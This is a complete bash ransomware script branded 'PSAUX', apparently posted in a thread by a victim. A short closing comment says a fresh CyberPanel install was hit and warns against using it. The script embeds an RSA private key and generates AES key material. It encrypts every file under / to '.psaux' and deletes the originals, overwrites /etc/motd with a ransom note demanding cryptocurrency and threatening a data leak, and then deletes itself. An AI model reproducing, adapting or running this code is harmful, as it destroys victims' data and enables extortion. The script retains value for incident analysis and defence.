|
#!/usr/bin/env bash |
|
|
|
private="-----BEGIN PRIVATE KEY----- |
|
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDFiVLFtwUUcizD |
|
4gUkRJayJQFAW79ZojEE8YLLnfF5x5Z1A2hP/qT21LMOmvMz03gu9Jn3G+Iby8cx |
|
4OtvUDuG0tx+Cbq2u2lJj+ZmL11mMMbbR9aTWZhGmdVY3T9X2dObJSV94F5Itd3s |
|
SSf4A+Osb2Ea2Ci6BCK6mCXw7Qrwr4epWuwUiZ2JqfX3Iv5oLmwLOKF/nOM0XzIp |
|
fyopK10C/Di5erPBIAV2SYQh7sZ0JKRH7biL+s9dPM2e+8Ckuvkqkb1O1lIpOh8j |
|
8N/dxn/y9w53KGYsSOaN0ZHseBNCbIwW1s22q4iG/p5d+UG+kTRc8HqdmENw65Vv |
|
S8ycNPnZAgMBAAECggEBAIRgjZ7AEuBrz0IKIqX2bQK/N8J4eZhI0A7fBmcL1npk |
|
3ZhXCz2oicZ8Le6Yumi9y6mz88Yc4n78JeZwM3aqTuoAPxEb1guFNn68t4s9LJtC |
|
DtF+p/ahMSIHD2l5A20NJfivgRuFE8ooTqt9LxLPEHFLRsjlmQ1nnhprweleAVnf |
|
Kl66kGZa/lAF99P7g4+3/hukVHMRPKCCEmc/77bgIw7gXe/lRutFReraGdziGky3 |
|
VkDIx7MUdGp+n4Hf4iqtUzpinN0IlvgFiMvH4aoAr5vDHitEOGuaovyeA51c2qJw |
|
RGIAJPgWdaKj7yJl65uLmZPLxel2MCrOHqn8jv1zzw0CgYEA47kmxIT9JXoH3r0y |
|
kxxgzR+W9FiIM+MP01F2IfoELNXP0yCZ5sSQ2p+gT61wwTZWvzmzkE8w+AcsJirs |
|
ntlTyG5pJNQYTBSJW9lRoXykpgyRyhpEy7OES1NlWslWM2kthJQ/XZiAfaJ504ZL |
|
cw4q3PhvcSofknRyYpLEYJ8nyg8CgYEA3hCYarpOrDxN55TB5rdU7adX4b6faK2z |
|
NuV/grn8qqpG4nB1jj8tQI5q1NTzBe4ngLdJ6+uyGln7WvIr0llaCnhJo2Yp4EhX |
|
5vNw3cKSdlJynZtp3k9FidhMfjrzzX3d7q7n3BFk/UgUPMRDM85q3qZzSEqLy3wI |
|
G/WCqmMNhZcCgYBOFKMFSPAflHr0VXzs0hMi4gz5VQ3GdLltZIYT2kzqLpmms4vx |
|
gz6Dp63pA/ggV4hg4uD9vxl0QclSgO9G/A9tLuZgWVTHaVc7pgUGUN2HjdHDMUSb |
|
b78RsNOU0Gn9ELgpuEcNyYdtDHOnImnmVlo+D/TuIVpX9hNuVxJ8arXS4wKBgC5I |
|
MSwVVm5JR0db1qnaTeYWOZfAHgM4KKDpZhD96G49fPaWz7ls62aICDYBiAEVaMBH |
|
8y0re3xIgr2quX1myABkn5xhn5qyGTf2RvDBK7tjZaX5jTAbP3gCT7cDXGrYr9ee |
|
No7ERVMQob8kfIkgnV94O5C2kLpBSINjQO94I4pTAoGASChZYdSvI46zNc8EnlcD |
|
G7V1y3S8/Yxg3Nf7wl+s5Qot6CBRmlOOlMMQQ0JQgT5YZWcTM0IP5fEiiO6rt+w/ |
|
zHSS1/V+QNyxwb3nZhxwe0yWyqBKvDfmmxI0pRal7L6RZE9tqh40tn+Ksw4ykg5R |
|
yROWtY+JIbuJJb26/Z5/4KQ= |
|
-----END PRIVATE KEY-----" |
|
echo "$private" > /var/private.pem |
|
|
|
key_name="s2zp8fks9a0L" |
|
echo "Encryption ID: ${key_name}" |
|
|
|
PRIVATE_KEY_PATH="/var/private.pem" |
|
|
|
if [ ! -f "$PRIVATE_KEY_PATH" ]; then |
|
echo "Private key not found at $PRIVATE_KEY_PATH" |
|
exit 1 |
|
fi |
|
|
|
PRIVATE_KEY=$(cat $PRIVATE_KEY_PATH) |
|
if [ -z "$PRIVATE_KEY" ]; then |
|
echo "Could not read the private key (maybe permission issue?)" |
|
exit 1 |
|
fi |
|
echo "Private Key SSL: $(echo "$PRIVATE_KEY" | head -n 1)..." |
|
|
|
login_message=" |
|
|
|
|
|
###################################################################################### |
|
# Encryptions ID : ${key_name} # |
|
# You have been hacked by PSAUX # |
|
# # |
|
# All your files have been encrypted. # |
|
# # |
|
# To restore access, you can contact us in Telegram # |
|
# # |
|
# Telegram: @psauxsec # |
|
# # |
|
# Payment must be made in cryptocurrency. # |
|
# # |
|
# The price for decryption is 200 dollars. # |
|
# Sample decryption can be served upon request. # |
|
# # |
|
# After payment, you will receive a key to run the decrypter script # |
|
# on your system to restore your files. # |
|
# All your database is downloaded and if you are not going to pay in next 3 days # |
|
# its going to be published in darknet. Best Regards! # |
|
# # |
|
# # |
|
# # |
|
# Ransomware Made by PSAUX # |
|
# # |
|
###################################################################################### |
|
|
|
|
|
" |
|
echo "$login_message" > /etc/motd |
|
|
|
key=$(openssl rand -hex 16) |
|
iv=$(openssl rand -hex 16) |
|
echo "Generated key: ${key}" |
|
echo "Generated IV: ${iv}" |
|
|
|
echo -n $key | xxd -r -p | openssl pkeyutl -encrypt -inkey $PRIVATE_KEY_PATH -out /var/key.enc |
|
if [ $? -eq 0 ]; then |
|
echo "Key encrypted successfully: /var/key.enc" |
|
else |
|
echo "Error with key encryption" |
|
exit 1 |
|
fi |
|
|
|
echo -n $iv | xxd -r -p | openssl pkeyutl -encrypt -inkey $PRIVATE_KEY_PATH -out /var/iv.enc |
|
if [ $? -eq 0 ]; then |
|
echo "IV encrypted successfully: /var/iv.enc" |
|
else |
|
echo "Error with IV encryption" |
|
exit 1 |
|
fi |
|
|
|
excluded_dirs=( |
|
"/proc" |
|
"/sys" |
|
"/dev" |
|
"/run" |
|
"/etc" |
|
"/usr" |
|
"/tmp" |
|
"/var/run" |
|
"/var/lock" |
|
"/var/tmp" |
|
"/mnt" |
|
"/sbin" |
|
"/lib64" |
|
"/bin" |
|
"/boot" |
|
"/lib" |
|
"/lib32" |
|
"/srv" |
|
"/libx32" |
|
"/media" |
|
"/lost+found" |
|
) |
|
|
|
excluded_files=( |
|
"/var/key.enc" |
|
"/var/iv.enc" |
|
"/var/decrypter.sh" |
|
"/var/index_template.html" |
|
) |
|
|
|
is_excluded() { |
|
local path=$1 |
|
for excluded in "${excluded_dirs[@]}"; do |
|
if [[ "$path" == "$excluded"* ]]; then |
|
return 0 |
|
fi |
|
done |
|
for excluded in "${excluded_files[@]}"; do |
|
if [[ "$path" == "$excluded" ]]; then |
|
return 0 |
|
fi |
|
done |
|
return 1 |
|
} |
|
|
|
encrypt_directory() { |
|
local dir=$1 |
|
echo "Encrypting directory: $dir" |
|
find "$dir" -type f -print0 | while IFS= read -r -d '' file; do |
|
if ! is_excluded "$file"; then |
|
echo "Encrypting file: $file" |
|
openssl enc -aes-128-cbc -K "$key" -iv "$iv" -in "$file" -out "${file}.psaux" |
|
if [ $? -eq 0 ]; then |
|
echo "[+] : ${file}.psaux" |
|
rm -f "$file" |
|
else |
|
echo "Error encrypting: $file" |
|
fi |
|
else |
|
echo "Excluded file: $file" |
|
fi |
|
done |
|
} |
|
|
|
encrypt_directory "/" |
|
|
|
find / -type d \( -path /proc -o -path /sys -o -path /dev -o -path /run -o -path /tmp -o -path /var/run -o -path /var/lock -o -path /var/tmp -o -path /mnt -o -path /media -o -path /lost+found \) -prune -o -type d -print0 | while IFS= read -r -d '' dir; do |
|
if ! is_excluded "$dir"; then |
|
cp /var/index_template.html "$dir/index.html" |
|
fi |
|
done |
|
|
|
find / -type f \( -path /proc -o -path /sys -o -path /dev -o -path /run -o -path /tmp -o -path /var/run -o -path /var/lock -o -path /var/tmp -o -path /mnt -o -path /media -o -path /lost+found -o -name "*.psaux" -o -name "index.html" -o -name "decrypter.sh" \) -prune -o -type f -print0 | while IFS= read -r -d '' file; do |
|
if ! is_excluded "$file"; then |
|
echo "[+] : $file" |
|
openssl enc -aes-128-cbc -K "$key" -iv "$iv" -in "$file" -out "${file}.psaux" |
|
if [ $? -eq 0 ]; then |
|
echo "[+] : ${file}.psaux" |
|
rm -f "$file" |
|
else |
|
echo "Error encrypting: $file" |
|
fi |
|
else |
|
echo "Excluded file: $file" |
|
fi |
|
done |
|
|
|
rm -- "$0" && exit 0 |
Yeaa yesterday we make new install UBUNTU and then new version of CYBERPANEL. Today morning - server is down - so Cyberpanel is like a big hole right now.... dont use it.